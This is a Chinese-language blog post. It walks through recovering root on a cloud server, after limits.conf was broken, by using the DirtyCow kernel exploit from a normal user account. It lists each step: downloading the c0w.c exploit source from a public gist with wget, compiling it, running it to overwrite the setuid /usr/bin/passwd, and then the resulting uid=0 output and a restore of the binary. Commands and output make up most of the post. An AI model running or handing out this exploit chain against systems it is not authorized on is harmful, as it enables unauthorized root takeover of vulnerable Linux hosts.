一次本地提权的实战演练

Why

开发同学在线上一台公有云的机器上调试系统环境的时候,把 /etc/security/limits.conf 给改坏了,这是第二次改坏这个文件了,具体怎么改坏的,为什么改坏了会导致不能登录我单独来说(先挖坑),我这里只讲现象,这一次改坏的情况还好,只影响 root 用户,普通用户还能登录。于是就想能不能用普通用户本地提权成 root,再去修复文件 /etc/security/limits.conf

Howto

1
2
3
4
5
6
yum -y install wget gcc;
# 安装必需软件
su - nagios;
# 切换成普通用户(nagios)
id;
# 测试用户身份权限

系统输出:

uid=500(nagios) gid=500(nagios) groups=500(nagios)

可以看出用户 nagios 是普通用户(uid 和 gid 都是 500)

1
2
3
4
5
6
7
8
9
cd /tmp;
# 危险动作在 /tmp 目录下做比较好
wget \
https://gist.githubusercontent.com/KrE80r/42f8629577db95782d5e4f609f437a54/raw/71c902f55c09aa8ced351690e1e627363c231b45/c0w.c;
# 获取 exploit code
gcc -pthread c0w.c -o c0w;
# 编译之
./c0w;
# 执行(exploit code)

系统输出:

(_)
(o o)___
/
@@ ` \
\ ____, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 9c9bf000

madvise 0

ptrace 0

再执行:

1
2
/usr/bin/passwd;
whoami;id;

系统提示:

root
uid=0(root) gid=500(nagios) groups=0(root),500(nagios)

由此可以看出用户已经变成 root(uid 为 0),主组还是 nagios,但同时也已经是 root 组成员

最后,记得把 /tmp/bak 恢复回去成 /usr/bin/passwd

1
2
3
mv /tmp/bak /usr/bin/passwd;
chmod 4755 /usr/bin/passwd;
chown root:root /usr/bin/passwd;

参考资料